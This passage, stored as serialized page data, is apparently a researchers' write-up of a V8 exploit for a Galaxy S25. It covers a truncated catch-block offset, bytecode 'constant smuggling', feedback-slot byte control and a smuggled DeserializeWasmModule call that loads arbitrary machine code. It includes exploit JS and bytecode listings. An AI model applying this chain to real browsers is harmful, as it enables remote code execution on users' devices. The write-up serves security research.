3,   6)  ->     6 (prediction=1, data=1)\n",[134134],{"type":23,"tag":71,"props":134135,"children":134136},{"__ignoreMap":7},[134137],{"type":29,"value":134132},{"type":23,"tag":32,"props":134139,"children":134140},{},[134141,134143,134148,134150,134155],{"type":29,"value":134142},"However, the ",{"type":23,"tag":71,"props":134144,"children":134146},{"className":134145},[],[134147],{"type":29,"value":134049},{"type":29,"value":134149}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":71,"props":134151,"children":134153},{"className":134152},[],[134154],{"type":29,"value":50183},{"type":29,"value":134156}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":32,"props":134158,"children":134159},{},[134160,134162,134168],{"type":29,"value":134161},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":71,"props":134163,"children":134165},{"className":134164},[],[134166],{"type":29,"value":134167},"yield*",{"type":29,"value":134169}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":24,"props":134171,"children":134173},{"id":134172},"exploitation",[134174],{"type":29,"value":134175},"Exploitation",{"type":23,"tag":59,"props":134177,"children":134179},{"id":134178},"constant-smuggling",[134180],{"type":29,"value":134181},"Constant Smuggling",{"type":23,"tag":32,"props":134183,"children":134184},{},[134185,134187,134194],{"type":29,"value":134186},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":181,"props":134188,"children":134191},{"href":134189,"rel":134190},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[185],[134192],{"type":29,"value":134193},"technique",{"type":29,"value":134195}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":220,"props":134197,"children":134199},{"code":134198,"language":33671,"meta":7,"className":33669,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[134200],{"type":23,"tag":71,"props":134201,"children":134202},{"__ignoreMap":7},[134203,134231,134258,134285],{"type":23,"tag":230,"props":134204,"children":134205},{"class":232,"line":233},[134206,134210,134214,134218,134222,134227],{"type":23,"tag":230,"props":134207,"children":134208},{"style":256},[134209],{"type":29,"value":14118},{"type":23,"tag":230,"props":134211,"children":134212},{"style":262},[134213],{"type":29,"value":91615},{"type":23,"tag":230,"props":134215,"children":134216},{"style":268},[134217],{"type":29,"value":271},{"type":23,"tag":230,"props":134219,"children":134220},{"style":268},[134221],{"type":29,"value":53028},{"type":23,"tag":230,"props":134223,"children":134224},{"style":5149},[134225],{"type":29,"value":134226},"9.255963134931783e61",{"type":23,"tag":230,"props":134228,"children":134229},{"style":274},[134230],{"type":29,"value":511},{"type":23,"tag":230,"props":134232,"children":134233},{"class":232,"line":243},[134234,134238,134242,134246,134250,134254],{"type":23,"tag":230,"props":134235,"children":134236},{"style":256},[134237],{"type":29,"value":14118},{"type":23,"tag":230,"props":134239,"children":134240},{"style":262},[134241],{"type":29,"value":92489},{"type":23,"tag":230,"props":134243,"children":134244},{"style":268},[134245],{"type":29,"value":271},{"type":23,"tag":230,"props":134247,"children":134248},{"style":268},[134249],{"type":29,"value":53028},{"type":23,"tag":230,"props":134251,"children":134252},{"style":5149},[134253],{"type":29,"value":134226},{"type":23,"tag":230,"props":134255,"children":134256},{"style":274},[134257],{"type":29,"value":511},{"type":23,"tag":230,"props":134259,"children":134260},{"class":232,"line":252},[134261,134265,134269,134273,134277,134281],{"type":23,"tag":230,"props":134262,"children":134263},{"style":256},[134264],{"type":29,"value":14118},{"type":23,"tag":230,"props":134266,"children":134267},{"style":262},[134268],{"type":29,"value":2122},{"type":23,"tag":230,"props":134270,"children":134271},{"style":268},[134272],{"type":29,"value":271},{"type":23,"tag":230,"props":134274,"children":134275},{"style":268},[134276],{"type":29,"value":53028},{"type":23,"tag":230,"props":134278,"children":134279},{"style":5149},[134280],{"type":29,"value":134226},{"type":23,"tag":230,"props":134282,"children":134283},{"style":274},[134284],{"type":29,"value":511},{"type":23,"tag":230,"props":134286,"children":134287},{"class":232,"line":280},[134288,134292,134296,134300,134304,134308],{"type":23,"tag":230,"props":134289,"children":134290},{"style":256},[134291],{"type":29,"value":14118},{"type":23,"tag":230,"props":134293,"children":134294},{"style":262},[134295],{"type":29,"value":133994},{"type":23,"tag":230,"props":134297,"children":134298},{"style":268},[134299],{"type":29,"value":271},{"type":23,"tag":230,"props":134301,"children":134302},{"style":268},[134303],{"type":29,"value":53028},{"type":23,"tag":230,"props":134305,"children":134306},{"style":5149},[134307],{"type":29,"value":134226},{"type":23,"tag":230,"props":134309,"children":134310},{"style":274},[134311],{"type":29,"value":511},{"type":23,"tag":32,"props":134313,"children":134314},{},[134315],{"type":29,"value":134316},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":32,"props":134318,"children":134319},{},[134320],{"type":29,"value":134321},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":220,"props":134323,"children":134325},{"code":134324},"let a = 0x0693bebe;\n",[134326],{"type":23,"tag":71,"props":134327,"children":134328},{"__ignoreMap":7},[134329],{"type":29,"value":134324},{"type":23,"tag":32,"props":134331,"children":134332},{},[134333],{"type":29,"value":134334},"We will compile the bytecode:",{"type":23,"tag":220,"props":134336,"children":134338},{"code":134337},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[134339],{"type":23,"tag":71,"props":134340,"children":134341},{"__ignoreMap":7},[134342],{"type":29,"value":134337},{"type":23,"tag":32,"props":134344,"children":134345},{},[134346,134348,134354,134356,134362,134363,134369],{"type":29,"value":134347},"We can then jump to the 3rd byte (",{"type":23,"tag":71,"props":134349,"children":134351},{"className":134350},[],[134352],{"type":29,"value":134353},"0xbe",{"type":29,"value":134355},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":71,"props":134357,"children":134359},{"className":134358},[],[134360],{"type":29,"value":134361},"0x93 0x02 - 0xf",{"type":29,"value":664},{"type":23,"tag":71,"props":134364,"children":134366},{"className":134365},[],[134367],{"type":29,"value":134368},"Jump +[2-15]",{"type":29,"value":134370},") to jump into the next constant.",{"type":23,"tag":32,"props":134372,"children":134373},{},[134374,134376,134382,134384,134390,134392,134398],{"type":29,"value":134375},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":71,"props":134377,"children":134379},{"className":134378},[],[134380],{"type":29,"value":134381},"StarX",{"type":29,"value":134383}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":71,"props":134385,"children":134387},{"className":134386},[],[134388],{"type":29,"value":134389},"Star rX",{"type":29,"value":134391}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":71,"props":134393,"children":134395},{"className":134394},[],[134396],{"type":29,"value":134397},"Star.ExtraWide rX",{"type":29,"value":134399}," instructions.",{"type":23,"tag":32,"props":134401,"children":134402},{},[134403,134405,134411],{"type":29,"value":134404},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":71,"props":134406,"children":134408},{"className":134407},[],[134409],{"type":29,"value":134410},"0x8931111",{"type":29,"value":218},{"type":23,"tag":220,"props":134413,"children":134415},{"code":134414,"language":33671,"meta":7,"className":33669,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[134416],{"type":23,"tag":71,"props":134417,"children":134418},{"__ignoreMap":7},[134419,134444,134468,134492,134516,134540,134564],{"type":23,"tag":230,"props":134420,"children":134421},{"class":232,"line":233},[134422,134426,134431,134435,134440],{"type":23,"tag":230,"props":134423,"children":134424},{"style":256},[134425],{"type":29,"value":14118},{"type":23,"tag":230,"props":134427,"children":134428},{"style":262},[134429],{"type":29,"value":134430}," a206",{"type":23,"tag":230,"props":134432,"children":134433},{"style":268},[134434],{"type":29,"value":271},{"type":23,"tag":230,"props":134436,"children":134437},{"style":5149},[134438],{"type":29,"value":134439}," 0x8931111",{"type":23,"tag":230,"props":134441,"children":134442},{"style":274},[134443],{"type":29,"value":511},{"type":23,"tag":230,"props":134445,"children":134446},{"class":232,"line":243},[134447,134451,134456,134460,134464],{"type":23,"tag":230,"props":134448,"children":134449},{"style":256},[134450],{"type":29,"value":14118},{"type":23,"tag":230,"props":134452,"children":134453},{"style":262},[134454],{"type":29,"value":134455}," a207",{"type":23,"tag":230,"props":134457,"children":134458},{"style":268},[134459],{"type":29,"value":271},{"type":23,"tag":230,"props":134461,"children":134462},{"style":5149},[134463],{"type":29,"value":134439},{"type":23,"tag":230,"props":134465,"children":134466},{"style":274},[134467],{"type":29,"value":511},{"type":23,"tag":230,"props":134469,"children":134470},{"class":232,"line":252},[134471,134475,134480,134484,134488],{"type":23,"tag":230,"props":134472,"children":134473},{"style":256},[134474],{"type":29,"value":14118},{"type":23,"tag":230,"props":134476,"children":134477},{"style":262},[134478],{"type":29,"value":134479}," a208",{"type":23,"tag":230,"props":134481,"children":134482},{"style":268},[134483],{"type":29,"value":271},{"type":23,"tag":230,"props":134485,"children":134486},{"style":5149},[134487],{"type":29,"value":134439},{"type":23,"tag":230,"props":134489,"children":134490},{"style":274},[134491],{"type":29,"value":511},{"type":23,"tag":230,"props":134493,"children":134494},{"class":232,"line":280},[134495,134499,134504,134508,134512],{"type":23,"tag":230,"props":134496,"children":134497},{"style":256},[134498],{"type":29,"value":14118},{"type":23,"tag":230,"props":134500,"children":134501},{"style":262},[134502],{"type":29,"value":134503}," a209",{"type":23,"tag":230,"props":134505,"children":134506},{"style":268},[134507],{"type":29,"value":271},{"type":23,"tag":230,"props":134509,"children":134510},{"style":5149},[134511],{"type":29,"value":134439},{"type":23,"tag":230,"props":134513,"children":134514},{"style":274},[134515],{"type":29,"value":511},{"type":23,"tag":230,"props":134517,"children":134518},{"class":232,"line":334},[134519,134523,134528,134532,134536],{"type":23,"tag":230,"props":134520,"children":134521},{"style":256},[134522],{"type":29,"value":14118},{"type":23,"tag":230,"props":134524,"children":134525},{"style":262},[134526],{"type":29,"value":134527}," a210",{"type":23,"tag":230,"props":134529,"children":134530},{"style":268},[134531],{"type":29,"value":271},{"type":23,"tag":230,"props":134533,"children":134534},{"style":5149},[134535],{"type":29,"value":134439},{"type":23,"tag":230,"props":134537,"children":134538},{"style":274},[134539],{"type":29,"value":511},{"type":23,"tag":230,"props":134541,"children":134542},{"class":232,"line":371},[134543,134547,134552,134556,134560],{"type":23,"tag":230,"props":134544,"children":134545},{"style":256},[134546],{"type":29,"value":14118},{"type":23,"tag":230,"props":134548,"children":134549},{"style":262},[134550],{"type":29,"value":134551}," a211",{"type":23,"tag":230,"props":134553,"children":134554},{"style":268},[134555],{"type":29,"value":271},{"type":23,"tag":230,"props":134557,"children":134558},{"style":5149},[134559],{"type":29,"value":134439},{"type":23,"tag":230,"props":134561,"children":134562},{"style":274},[134563],{"type":29,"value":511},{"type":23,"tag":230,"props":134565,"children":134566},{"class":232,"line":391},[134567,134571,134576,134580,134584],{"type":23,"tag":230,"props":134568,"children":134569},{"style":256},[134570],{"type":29,"value":14118},{"type":23,"tag":230,"props":134572,"children":134573},{"style":262},[134574],{"type":29,"value":134575}," a212",{"type":23,"tag":230,"props":134577,"children":134578},{"style":268},[134579],{"type":29,"value":271},{"type":23,"tag":230,"props":134581,"children":134582},{"style":5149},[134583],{"type":29,"value":134439},{"type":23,"tag":230,"props":134585,"children":134586},{"style":274},[134587],{"type":29,"value":511},{"type":23,"tag":32,"props":134589,"children":134590},{},[134591],{"type":29,"value":134592},"Those instructions result in:",{"type":23,"tag":220,"props":134594,"children":134596},{"code":134595},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[134597],{"type":23,"tag":71,"props":134598,"children":134599},{"__ignoreMap":7},[134600],{"type":29,"value":134595},{"type":23,"tag":32,"props":134602,"children":134603},{},[134604,134606,134612,134614,134618],{"type":29,"value":134605},"(The offset of ",{"type":23,"tag":71,"props":134607,"children":134609},{"className":134608},[],[134610],{"type":29,"value":134611},"Jump",{"type":29,"value":134613}," instructions is added to the ",{"type":23,"tag":2258,"props":134615,"children":134616},{},[134617],{"type":29,"value":72868},{"type":29,"value":134619}," of the instruction.)",{"type":23,"tag":32,"props":134621,"children":134622},{},[134623,134625,134631],{"type":29,"value":134624},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":71,"props":134626,"children":134628},{"className":134627},[],[134629],{"type":29,"value":134630},"LdaSmi.ExtraWide",{"type":29,"value":134632}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":59,"props":134634,"children":134636},{"id":134635},"exploit-goal",[134637],{"type":29,"value":134638},"Exploit Goal",{"type":23,"tag":32,"props":134640,"children":134641},{},[134642,134644,134650,134651,134657],{"type":29,"value":134643},"Initially we considered using ",{"type":23,"tag":71,"props":134645,"children":134647},{"className":134646},[],[134648],{"type":29,"value":134649},"Star",{"type":29,"value":6919},{"type":23,"tag":71,"props":134652,"children":134654},{"className":134653},[],[134655],{"type":29,"value":134656},"Ldar",{"type":29,"value":134658}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":32,"props":134660,"children":134661},{},[134662,134664,134671],{"type":29,"value":134663},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":181,"props":134665,"children":134668},{"href":134666,"rel":134667},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[185],[134669],{"type":29,"value":134670},"stack pivot and ROP",{"type":29,"value":134672},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":32,"props":134674,"children":134675},{},[134676],{"type":29,"value":134677},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":32,"props":134679,"children":134680},{},[134681],{"type":29,"value":134682},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":32,"props":134684,"children":134685},{},[134686,134688,134694,134696,134702,134704,134710],{"type":29,"value":134687},"At this point, we identified an interesting opcode: ",{"type":23,"tag":71,"props":134689,"children":134691},{"className":134690},[],[134692],{"type":29,"value":134693},"CallRuntime",{"type":29,"value":134695},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":71,"props":134697,"children":134699},{"className":134698},[],[134700],{"type":29,"value":134701},"--allow-natives-syntax",{"type":29,"value":134703}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":71,"props":134705,"children":134707},{"className":134706},[],[134708],{"type":29,"value":134709},"DeserializeWasmModule",{"type":29,"value":312},{"type":23,"tag":32,"props":134712,"children":134713},{},[134714,134716,134723,134724,134729,134730,134736,134738,134745],{"type":29,"value":134715},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":181,"props":134717,"children":134720},{"href":134718,"rel":134719},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[185],[134721],{"type":29,"value":134722},"JIT-compiled functions",{"type":29,"value":20851},{"type":23,"tag":71,"props":134725,"children":134727},{"className":134726},[],[134728],{"type":29,"value":134709},{"type":29,"value":6919},{"type":23,"tag":71,"props":134731,"children":134733},{"className":134732},[],[134734],{"type":29,"value":134735},"SerializeWasmModule",{"type":29,"value":134737}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":181,"props":134739,"children":134742},{"href":134740,"rel":134741},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[185],[134743],{"type":29,"value":134744},"removed",{"type":29,"value":134746}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":32,"props":134748,"children":134749},{},[134750,134752,134758,134760,134766,134768,134773,134775,134781,134783,134788,134789,134794,134795,134800,134802,134808,134810,134814],{"type":29,"value":134751},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":71,"props":134753,"children":134755},{"className":134754},[],[134756],{"type":29,"value":134757},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":134759},"\nWhere ",{"type":23,"tag":71,"props":134761,"children":134763},{"className":134762},[],[134764],{"type":29,"value":134765},"func-id",{"type":29,"value":134767}," is a 2-byte function ID, ",{"type":23,"tag":71,"props":134769,"children":134771},{"className":134770},[],[134772],{"type":29,"value":2917},{"type":29,"value":134774}," is the index of the last register passed and ",{"type":23,"tag":71,"props":134776,"children":134778},{"className":134777},[],[134779],{"type":29,"value":134780},"argc",{"type":29,"value":134782}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":71,"props":134784,"children":134786},{"className":134785},[],[134787],{"type":29,"value":46151},{"type":29,"value":684},{"type":23,"tag":71,"props":134790,"children":134792},{"className":134791},[],[134793],{"type":29,"value":46294},{"type":29,"value":112},{"type":23,"tag":71,"props":134796,"children":134798},{"className":134797},[],[134799],{"type":29,"value":46277},{"type":29,"value":134801}," would be encoded as ",{"type":23,"tag":71,"props":134803,"children":134805},{"className":134804},[],[134806],{"type":29,"value":134807},"\u003Cr2> \u003C3>",{"type":29,"value":134809},").\nThis requires ",{"type":23,"tag":2258,"props":134811,"children":134812},{},[134813],{"type":29,"value":20429},{"type":29,"value":134815}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":59,"props":134817,"children":134819},{"id":134818},"better-bytecode-control",[134820],{"type":29,"value":134821},"Better Bytecode Control",{"type":23,"tag":32,"props":134823,"children":134824},{},[134825,134827,134834,134836,134842],{"type":29,"value":134826},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":181,"props":134828,"children":134831},{"href":134829,"rel":134830},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[185],[134832],{"type":29,"value":134833},"feedback vector slot",{"type":29,"value":134835},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":71,"props":134837,"children":134839},{"className":134838},[],[134840],{"type":29,"value":134841},"AddSmi",{"type":29,"value":134843}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":32,"props":134845,"children":134846},{},[134847],{"type":29,"value":134848},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":220,"props":134850,"children":134852},{"code":134851},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[134853],{"type":23,"tag":71,"props":134854,"children":134855},{"__ignoreMap":7},[134856],{"type":29,"value":134851},{"type":23,"tag":32,"props":134858,"children":134859},{},[134860,134862,134868],{"type":29,"value":134861},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":71,"props":134863,"children":134865},{"className":134864},[],[134866],{"type":29,"value":134867},"AddSmi.ExtraWide",{"type":29,"value":134869},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":32,"props":134871,"children":134872},{},[134873],{"type":29,"value":134874},"Eventually, we can reach a stage like this:",{"type":23,"tag":220,"props":134876,"children":134878},{"code":134877},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[134879],{"type":23,"tag":71,"props":134880,"children":134881},{"__ignoreMap":7},[134882],{"type":29,"value":134877},{"type":23,"tag":32,"props":134884,"children":134885},{},[134886],{"type":29,"value":134887},"If you skip the first two bytes, you have",{"type":23,"tag":98,"props":134889,"children":134890},{},[134891,134922],{"type":23,"tag":102,"props":134892,"children":134893},{},[134894,134899,134901,134906,134908,134914,134916],{"type":23,"tag":71,"props":134895,"children":134897},{"className":134896},[],[134898],{"type":29,"value":134693},{"type":29,"value":134900}," (0x6c) to ",{"type":23,"tag":71,"props":134902,"children":134904},{"className":134903},[],[134905],{"type":29,"value":134709},{"type":29,"value":134907}," (0x0266) starting from register ",{"type":23,"tag":71,"props":134909,"children":134911},{"className":134910},[],[134912],{"type":29,"value":134913},"a2",{"type":29,"value":134915}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":71,"props":134917,"children":134919},{"className":134918},[],[134920],{"type":29,"value":134921},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":102,"props":134923,"children":134924},{},[134925],{"type":29,"value":134926},"a Jump instruction",{"type":23,"tag":59,"props":134928,"children":134930},{"id":134929},"returning-back-to-js",[134931],{"type":29,"value":134932},"Returning Back to JS",{"type":23,"tag":32,"props":134934,"children":134935},{},[134936,134938,134944],{"type":29,"value":134937},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":71,"props":134939,"children":134941},{"className":134940},[],[134942],{"type":29,"value":134943},"yield",{"type":29,"value":134945}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":32,"props":134947,"children":134948},{},[134949],{"type":29,"value":134950},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":220,"props":134952,"children":134954},{"code":134953,"language":33671,"meta":7,"className":33669,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[134955],{"type":23,"tag":71,"props":134956,"children":134957},{"__ignoreMap":7},[134958,134969,135017,135038,135054,135077,135105,135122],{"type":23,"tag":230,"props":134959,"children":134960},{"class":232,"line":233},[134961,134965],{"type":23,"tag":230,"props":134962,"children":134963},{"style":866},[134964],{"type":29,"value":50103},{"type":23,"tag":230,"props":134966,"children":134967},{"style":274},[134968],{"type":29,"value":277},{"type":23,"tag":230,"props":134970,"children":134971},{"class":232,"line":243},[134972,134977,134981,134986,134990,134995,134999,135004,135008,135012],{"type":23,"tag":230,"props":134973,"children":134974},{"style":262},[134975],{"type":29,"value":134976},"  $",{"type":23,"tag":230,"props":134978,"children":134979},{"style":274},[134980],{"type":29,"value":78397},{"type":23,"tag":230,"props":134982,"children":134983},{"style":380},[134984],{"type":29,"value":134985},"'a1 + 0xa931111;'",{"type":23,"tag":230,"props":134987,"children":134988},{"style":274},[134989],{"type":29,"value":312},{"type":23,"tag":230,"props":134991,"children":134992},{"style":294},[134993],{"type":29,"value":134994},"repeat",{"type":23,"tag":230,"props":134996,"children":134997},{"style":274},[134998],{"type":29,"value":302},{"type":23,"tag":230,"props":135000,"children":135001},{"style":5149},[135002],{"type":29,"value":135003},"0x059302",{"type":23,"tag":230,"props":135005,"children":135006},{"style":268},[135007],{"type":29,"value":53028},{"type":23,"tag":230,"props":135009,"children":135010},{"style":5149},[135011],{"type":29,"value":6861},{"type":23,"tag":230,"props":135013,"children":135014},{"style":274},[135015],{"type":29,"value":135016},")}\n",{"type":23,"tag":230,"props":135018,"children":135019},{"class":232,"line":252},[135020,135025,135029,135034],{"type":23,"tag":230,"props":135021,"children":135022},{"style":262},[135023],{"type":29,"value":135024},"  a1",{"type":23,"tag":230,"props":135026,"children":135027},{"style":268},[135028],{"type":29,"value":11238},{"type":23,"tag":230,"props":135030,"children":135031},{"style":5149},[135032],{"type":29,"value":135033}," 0x0402666c",{"type":23,"tag":230,"props":135035,"children":135036},{"style":274},[135037],{"type":29,"value":511},{"type":23,"tag":230,"props":135039,"children":135040},{"class":232,"line":280},[135041,135045,135050],{"type":23,"tag":230,"props":135042,"children":135043},{"style":866},[135044],{"type":29,"value":37488},{"type":23,"tag":230,"props":135046,"children":135047},{"style":5149},[135048],{"type":29,"value":135049}," 0x393e91a",{"type":23,"tag":230,"props":135051,"children":135052},{"style":274},[135053],{"type":29,"value":511},{"type":23,"tag":230,"props":135055,"children":135056},{"class":232,"line":334},[135057,135061,135065,135069,135073],{"type":23,"tag":230,"props":135058,"children":135059},{"style":274},[135060],{"type":29,"value":48645},{"type":23,"tag":230,"props":135062,"children":135063},{"style":866},[135064],{"type":29,"value":50183},{"type":23,"tag":230,"props":135066,"children":135067},{"style":274},[135068],{"type":29,"value":664},{"type":23,"tag":230,"props":135070,"children":135071},{"style":262},[135072],{"type":29,"value":53227},{"type":23,"tag":230,"props":135074,"children":135075},{"style":274},[135076],{"type":29,"value":827},{"type":23,"tag":230,"props":135078,"children":135079},{"class":232,"line":371},[135080,135084,135088,135092,135096,135101],{"type":23,"tag":230,"props":135081,"children":135082},{"style":262},[135083],{"type":29,"value":103723},{"type":23,"tag":230,"props":135085,"children":135086},{"style":274},[135087],{"type":29,"value":312},{"type":23,"tag":230,"props":135089,"children":135090},{"style":294},[135091],{"type":29,"value":103732},{"type":23,"tag":230,"props":135093,"children":135094},{"style":274},[135095],{"type":29,"value":302},{"type":23,"tag":230,"props":135097,"children":135098},{"style":380},[135099],{"type":29,"value":135100},"\"foo\"",{"type":23,"tag":230,"props":135102,"children":135103},{"style":274},[135104],{"type":29,"value":753},{"type":23,"tag":230,"props":135106,"children":135107},{"class":232,"line":391},[135108,135113,135118],{"type":23,"tag":230,"props":135109,"children":135110},{"style":866},[135111],{"type":29,"value":135112},"  yield",{"type":23,"tag":230,"props":135114,"children":135115},{"style":262},[135116],{"type":29,"value":135117}," a16",{"type":23,"tag":230,"props":135119,"children":135120},{"style":274},[135121],{"type":29,"value":511},{"type":23,"tag":230,"props":135123,"children":135124},{"class":232,"line":400},[135125],{"type":23,"tag":230,"props":135126,"children":135127},{"style":274},[135128],{"type":29,"value":975},{"type":23,"tag":32,"props":135130,"children":135131},{},[135132,135134],{"type":29,"value":135133},"Starting from the final ",{"type":23,"tag":71,"props":135135,"children":135137},{"className":135136},[],[135138],{"type":29,"value":134841},{"type":23,"tag":220,"props":135140,"children":135142},{"code":135141}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[135143],{"type":23,"tag":71,"props":135144,"children":135145},{"__ignoreMap":7},[135146],{"type":29,"value":135141},{"type":23,"tag":32,"props":135148,"children":135149},{},[135150,135152,135157,135159,135165],{"type":29,"value":135151},"The smuggled jump in ",{"type":23,"tag":71,"props":135153,"children":135155},{"className":135154},[],[135156],{"type":29,"value":134841},{"type":29,"value":135158}," will redirect us to ",{"type":23,"tag":71,"props":135160,"children":135162},{"className":135161},[],[135163],{"type":29,"value":135164},"1a e9 93 03",{"type":29,"value":135166},", which results in:",{"type":23,"tag":98,"props":135168,"children":135169},{},[135170,135181],{"type":23,"tag":102,"props":135171,"children":135172},{},[135173,135179],{"type":23,"tag":71,"props":135174,"children":135176},{"className":135175},[],[135177],{"type":29,"value":135178},"Star r16",{"type":29,"value":135180}," (store accumulator to r16)",{"type":23,"tag":102,"props":135182,"children":135183},{},[135184,135189],{"type":23,"tag":71,"props":135185,"children":135187},{"className":135186},[],[135188],{"type":29,"value":134611},{"type":29,"value":135190}," past the throw into the catch relevant code",{"type":23,"tag":32,"props":135192,"children":135193},{},[135194,135196,135202],{"type":29,"value":135195},"This will bring us nicely to the final ",{"type":23,"tag":71,"props":135197,"children":135199},{"className":135198},[],[135200],{"type":29,"value":135201},"yield a16",{"type":29,"value":135203},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":59,"props":135205,"children":135207},{"id":135206},"executing-shellcode",[135208],{"type":29,"value":135209},"Executing Shellcode",{"type":23,"tag":32,"props":135211,"children":135212},{},[135213],{"type":29,"value":135214},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":220,"props":135216,"children":135218},{"code":135217,"language":224,"meta":7,"className":222,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + 